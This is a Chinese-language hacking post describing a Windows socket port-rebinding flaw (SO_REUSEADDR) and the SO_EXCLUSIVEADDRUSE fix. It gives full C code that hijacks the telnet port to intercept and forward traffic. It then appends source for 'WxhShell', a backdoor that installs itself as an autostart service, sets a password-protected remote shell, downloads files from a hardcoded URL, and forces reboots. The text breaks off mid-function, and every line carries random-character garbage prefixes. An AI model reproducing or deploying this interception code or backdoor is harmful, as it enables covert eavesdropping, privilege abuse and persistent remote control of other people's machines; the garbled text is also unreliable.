在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
A<|9</9z s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
8gNTW7W/ YT8q0BR] saddr.sin_family = AF_INET;
:N<Qk _fk}d[q0 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
gN<7(F ]8%E'd bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
6V$ )ym*F UY9*)pEE 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
1,=:an )zO|m7 这意味着什么?意味着可以进行如下的攻击:
3?j:M]fR a%c <3' 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
^^}htg yn!;Z._ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
#+D][LH4 M <JX 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
/#T {0GBXe ^&&Wv'7XQ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
yFk|8d-| _k]R6V: 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
R5e[cC8o. <VD7(j]'^ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
C<teZz8/w fSd|6iFH 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
\h'7[vkr <b"^\]l #include
jo&j<3i #include
KgM|:' #include
.t[u_tBL #include
T+T)~!{% DWORD WINAPI ClientThread(LPVOID lpParam);
F1BvDplQ>G int main()
]d(Z% {
Vq0X:<9 WORD wVersionRequested;
F_:Wu,dUZ DWORD ret;
N<SW
$ o WSADATA wsaData;
=XQGg`8<LB BOOL val;
j_,/U^Ws|f SOCKADDR_IN saddr;
.X3n9] SOCKADDR_IN scaddr;
=_=%1rI~ int err;
v\bWQs1 SOCKET s;
axmq/8X SOCKET sc;
l4T[x|')M int caddsize;
1v:Ql\^cT HANDLE mt;
4I&(>9 @z< DWORD tid;
6t7FklM% wVersionRequested = MAKEWORD( 2, 2 );
j.6!T'$| err = WSAStartup( wVersionRequested, &wsaData );
c[2ikI,n[ if ( err != 0 ) {
mg:kVS printf("error!WSAStartup failed!\n");
%?n=In(F return -1;
#m{(aa9; }
C+t3a@&| saddr.sin_family = AF_INET;
K?,?.!ev bK }ZR*) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
5D<Zbn.>q LodP,\T saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
e%pohHI saddr.sin_port = htons(23);
HdlOGa6C if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
=U~53Tg {
hwUb(pZ printf("error!socket failed!\n");
,k_ b-/ return -1;
|in>`:qk }
e}5x6t val = TRUE;
wM[Z 0*K //SO_REUSEADDR选项就是可以实现端口重绑定的
7R[7M%H if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
JtSwbdN {
=LIb0TZ2 printf("error!setsockopt failed!\n");
A?04,l]y return -1;
v(Kj6 ' }
- s'W^( //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Q'jGNWep //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
eXsp0!v //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
~rI2 RJ *MfH\X379 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
mEYfsO {
?4 wl ret=GetLastError();
`0%;Gz%} printf("error!bind failed!\n");
4xT /8>v2| return -1;
XBX`L"0 }
?99r>01> listen(s,2);
Ie!">8." while(1)
}BW&1*M{ {
Chl^LEN: caddsize = sizeof(scaddr);
dY.X/f //接受连接请求
9ec?L sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
?A\+s,9 if(sc!=INVALID_SOCKET)
%VB4/~ " {
Ys_LGfK mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
o1\N)% if(mt==NULL)
4sSw7` {
_l]
0V
g` printf("Thread Creat Failed!\n");
?/T=Gk break;
a{e
2*V }
fzVN;h }
o3Yb2Nw CloseHandle(mt);
)%p46(] }
H(Wiy@cJn closesocket(s);
\s)$[pAF WSACleanup();
X!6dg.n5 return 0;
j0oto6z~b }
8[,R4@ DWORD WINAPI ClientThread(LPVOID lpParam)
vv)O+xt {
P//nYPyzg SOCKET ss = (SOCKET)lpParam;
^PE|BCs SOCKET sc;
(bsywM unsigned char buf[4096];
yz,_\{} SOCKADDR_IN saddr;
L;g2ZoqIr0 long num;
^-Arfm%dn DWORD val;
)(.g~Q: DWORD ret;
8cvSA&l(D //如果是隐藏端口应用的话,可以在此处加一些判断
0iC5, //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
@N[<<k7g saddr.sin_family = AF_INET;
P()n=&XO6 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
L$"x*2[A saddr.sin_port = htons(23);
:{S@KsPqE if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
BZTj>yd {
7Q'u>o printf("error!socket failed!\n");
p;7wH\c return -1;
%AqI'ObC }
.
WJ val = 100;
Q~Nq5[ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
+B8oW3v# ) {
e\aW~zs 2 ret = GetLastError();
r91i : return -1;
D|$0~1y }
[giw(4m#y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"WmsBdO {
oPBKPGD ret = GetLastError();
=B+dhZ+#S$ return -1;
t{s>B]i^_w }
]!1HN3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
OU/3U(%n]e {
-;8 a* F printf("error!socket connect failed!\n");
OhaoLmA}6 closesocket(sc);
N&G(`] closesocket(ss);
wNl6a9# return -1;
*'-C/ }
;#Qv
)kS* while(1)
v`'Iew } {
h(~of( //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
4/\Ynb.L //如果是嗅探内容的话,可以再此处进行内容分析和记录
@@R&OR //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
&\5bo=5V num = recv(ss,buf,4096,0);
zA|lbJz=GY if(num>0)
s)3CosU send(sc,buf,num,0);
o,_F;ZhE else if(num==0)
WFFd3TN%< break;
pcOKC 0b. num = recv(sc,buf,4096,0);
pE+:tMH; if(num>0)
H,EZ%
Gl send(ss,buf,num,0);
afaQb else if(num==0)
UWqX}T[^ break;
zmuRn4Nv }
MYxuQ |w closesocket(ss);
XmVst*2= closesocket(sc);
`z/p,. u return 0 ;
N5#j}tT }
,G?Kb# P A*U\ Q>\DM'{:4 ==========================================================
FW3E UC)P Xfb-<
Q0A 下边附上一个代码,,WXhSHELL
i8cmT+}> 'tQp&pj ==========================================================
e<A>??h^ }43qpJe8U #include "stdafx.h"
vz:VegS (VC Jn<@@ #include <stdio.h>
GqP02P'2 #include <string.h>
fOsvOC #include <windows.h>
|,TBP@ #include <winsock2.h>
/-^{$$eu #include <winsvc.h>
[z_ztK1 #include <urlmon.h>
xu]Kt+QnSk FL$S_JAw #pragma comment (lib, "Ws2_32.lib")
1B 0[dK2N #pragma comment (lib, "urlmon.lib")
cuf]-C1_ +uNMyVH #define MAX_USER 100 // 最大客户端连接数
p?
VDBAx #define BUF_SOCK 200 // sock buffer
wJgH15oB #define KEY_BUFF 255 // 输入 buffer
SuV3$-);z x=\W TC #define REBOOT 0 // 重启
g38MF #define SHUTDOWN 1 // 关机
7;6'=0( u,=?|M\ #define DEF_PORT 5000 // 监听端口
hDoFF8)c gCL}Ba #define REG_LEN 16 // 注册表键长度
4`V&Yqwl #define SVC_LEN 80 // NT服务名长度
wYS r.T8Q BG4TUt // 从dll定义API
l\m7~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
YiL^KK typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
L&|^y8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
u
Vv%k5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
G_k_qP^: z-]ND // wxhshell配置信息
cs: ?Wq ^ struct WSCFG {
I~ mu'T int ws_port; // 监听端口
nI73E char ws_passstr[REG_LEN]; // 口令
d,'gh4C int ws_autoins; // 安装标记, 1=yes 0=no
4]
u\5K- char ws_regname[REG_LEN]; // 注册表键名
jQfnc:' char ws_svcname[REG_LEN]; // 服务名
NSzTl-eS char ws_svcdisp[SVC_LEN]; // 服务显示名
]R09-s 0$7 char ws_svcdesc[SVC_LEN]; // 服务描述信息
3:OqD~,zy char ws_passmsg[SVC_LEN]; // 密码输入提示信息
ka`}lR int ws_downexe; // 下载执行标记, 1=yes 0=no
p~(STHDe# char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
`oO*ORq& char ws_filenam[SVC_LEN]; // 下载后保存的文件名
(2 hI N
/;Vg^Wx };
~xJr|_,gp c|iTRco // default Wxhshell configuration
11 A$#\, struct WSCFG wscfg={DEF_PORT,
Z%
`$id "xuhuanlingzhe",
kcNPdc 1,
79jnYjk "Wxhshell",
^`$-c9M?' "Wxhshell",
C(xsMO'k,, "WxhShell Service",
y<BG- "Wrsky Windows CmdShell Service",
Xoq - "Please Input Your Password: ",
;<F^&/a|yQ 1,
O2lM;=" "
http://www.wrsky.com/wxhshell.exe",
\4fuC6d2 "Wxhshell.exe"
%_39Wa };
['6Sq@c) NUuIhB+ // 消息定义模块
M,r8 No char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
u@Z6)r' char *msg_ws_prompt="\n\r? for help\n\r#>";
G]Im.x3O- char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
vZqW,GDfXo char *msg_ws_ext="\n\rExit.";
cwHbm% char *msg_ws_end="\n\rQuit.";
l['ER$(7 char *msg_ws_boot="\n\rReboot...";
OSh'b$Z char *msg_ws_poff="\n\rShutdown...";
v>j<ky char *msg_ws_down="\n\rSave to ";
Io/;+R. q03nu3uDI char *msg_ws_err="\n\rErr!";
@c>MROlrlF char *msg_ws_ok="\n\rOK!";
.\
vrBf K'K/}q< char ExeFile[MAX_PATH];
LF:~&
m int nUser = 0;
XHJ/211 HANDLE handles[MAX_USER];
6jov8GIAt int OsIsNt;
J0t_wMJa *~UK5Brf1 SERVICE_STATUS serviceStatus;
z4]z3U<}3] SERVICE_STATUS_HANDLE hServiceStatusHandle;
AZ\f6r{
`0W+(9} // 函数声明
{XnBj}C int Install(void);
<#./q LSR int Uninstall(void);
3CSwcD int DownloadFile(char *sURL, SOCKET wsh);
A(+V{1L' int Boot(int flag);
Hm~.u.)\. void HideProc(void);
iQiXwEAi[ int GetOsVer(void);
;hd%wmE int Wxhshell(SOCKET wsl);
+.u
HY`A void TalkWithClient(void *cs);
\5HVX/ int CmdShell(SOCKET sock);
(;N#Gqb6l int StartFromService(void);
=ATQ2\T$m int StartWxhshell(LPSTR lpCmdLine);
=6qSo
@ K@"B^f0mU VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
t<^7s9r;I VOID WINAPI NTServiceHandler( DWORD fdwControl );
3)(uC+?[ 7G Jhc // 数据结构和表定义
?uF3Q)rCk SERVICE_TABLE_ENTRY DispatchTable[] =
ftV~!r {
@,]$FBT"5
{wscfg.ws_svcname, NTServiceMain},
D3+<16[, {NULL, NULL}
+}f}!h; };
h;OHpvk T!1XL7 // 自我安装
1CUI6@Cz) int Install(void)
@G|z_ {
8K\S]SZ char svExeFile[MAX_PATH];
ogdgLTi HKEY key;
- C8VDjf9 strcpy(svExeFile,ExeFile);
}C
JK9*Z "2"2qZ*h} // 如果是win9x系统,修改注册表设为自启动
8&7zV:= if(!OsIsNt) {
AbX#wpp! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"'Q~&B;@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+4[Je$qYa RegCloseKey(key);
0.U-
tg0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(J
j'kW6G6 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
qMd4awB
R RegCloseKey(key);
@A-E return 0;
z;&J9r$` }
b>& 3XDz }
/~/nhKm }
6""i<oR else {
1[e%E#h }e>OmfxDBt // 如果是NT以上系统,安装为系统服务
uJ3*AO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
%)o;2&aD if (schSCManager!=0)
LP?*RrM {
Ed#Hilk' SC_HANDLE schService = CreateService
VF~kjH2> (
N1l^%Yf J schSCManager,
}~v0o#
I wscfg.ws_svcname,
NU3s^ 8\( wscfg.ws_svcdisp,
f!B\X*| SERVICE_ALL_ACCESS,
[QwqP=-6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
V$ "]f6 SERVICE_AUTO_START,
UrdSo"% SERVICE_ERROR_NORMAL,
ERfSJ svExeFile,
-Y>QKS NULL,
'lgS;ItpKu NULL,
VH~ZDZ1P NULL,
8HWEObRY NULL,
K/!>[d NULL
2:1
kSR^Ky );
A-u}&}l< if (schService!=0)
8?hj}}H {
YG#{/;^nm) CloseServiceHandle(schService);
Mw6
Mt
CloseServiceHandle(schSCManager);
af=lzKt* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
|u[@g`Z strcat(svExeFile,wscfg.ws_svcname);
"l(<<Ha/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
LiJ. / RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
*nHkK!d<N RegCloseKey(key);
~[0^{$rrWs return 0;
f3mQd}<L }
8~iggwZ~h" }
PWS5s^WM CloseServiceHandle(schSCManager);
Aj"fkY|Q }
D\z`+TyJ }
p<Vj<6.=? y6>fK@K~ return 1;
~@D{&7@ }
i MF-TR w#>CYP`0k6 // 自我卸载
OB+QVYk" int Uninstall(void)
J/c5)IB| {
8HDI] HKEY key;
^B(:Hv}G(: Z07SK 'U if(!OsIsNt) {
cXt]55" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
TcH7!fUj RegDeleteValue(key,wscfg.ws_regname);
YS>VQl RegCloseKey(key);
&[[Hfs2:-] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
r@G34QC+ RegDeleteValue(key,wscfg.ws_regname);
4z^VwKH\ j RegCloseKey(key);
&C6*"JZ4 return 0;
S|_"~Nd= }
c,5yH }
L ?S#3@Pa }
Ots] y else {
S\6.vw!' 8q|T`ac+N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
s 5F?m if (schSCManager!=0)
^7Z.~A y {
Y-]Ne"+vf SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
vgKdhN2kI if (schService!=0)
>2#F5c67 {
+QEiY~i if(DeleteService(schService)!=0) {
YvFt*t
CloseServiceHandle(schService);
69zMWuY CloseServiceHandle(schSCManager);
w[/m:R?eX return 0;
Ym9~/'%] }
9-Xr CloseServiceHandle(schService);
{s?x
NU }
d-B,)$zE CloseServiceHandle(schSCManager);
Z:>ek>Op }
j$r2=~1 }
8/W2;>?wKc !InC8+be return 1;
77%I%<# }
%"AB\lL. :Gf // 从指定url下载文件
KOhIk*AC' int DownloadFile(char *sURL, SOCKET wsh)
?rQIUP{D7 {
32K HRESULT hr;
9@ :QBe3] char seps[]= "/";
F7JF1HfCP char *token;
p u[S char *file;
ZY8:7Q@P> char myURL[MAX_PATH];
o=C'u char myFILE[MAX_PATH];
4u7^v1/ h:<?)g~U strcpy(myURL,sURL);
--F6n/> token=strtok(myURL,seps);
{A{sRT=% while(token!=NULL)
N"zm {
e0`5PVJ file=token;
Vv*](iM token=strtok(NULL,seps);
Gg5+Ap D }
> |(L3UA9 'E4}++\ GetCurrentDirectory(MAX_PATH,myFILE);
X 3(*bj>P strcat(myFILE, "\\");
N$P\$ strcat(myFILE, file);
otdm rw| send(wsh,myFILE,strlen(myFILE),0);
/>V&
OX` send(wsh,"...",3,0);
|) CfO 4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
A0H6}53, $ if(hr==S_OK)
M)sAMfuUw return 0;
r!/<%\S else
"_n})s
f return 1;
<!derr-K I$oqFF|D }
\W"p<oo|H noO#o+
Jg# // 系统电源模块
)^j62uv int Boot(int flag)
>ui;B$= {
4ms"mIt HANDLE hToken;
o}y(T07n TOKEN_PRIVILEGES tkp;
{z |+.D (E7C9U* if(OsIsNt) {
sQMfU{S / OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
SX[ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
r)[Xzn tkp.PrivilegeCount = 1;
Uh3N#O tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
6-f-/$B AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
R dLk85<n if(flag==REBOOT) {
`':G92}# if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
OF O,5 return 0;
y`8jz,&. }
c2fw;)j&X else {
oe[f2?- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
:O]US)VSj return 0;
QQ./! }
F?b"Rv }
=s,}@iqNO4 else {
? w@)3Z=u if(flag==REBOOT) {
9~4@AGL if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
QNGp+xUHJ9 return 0;
B9S@G{` }
=&WH9IKz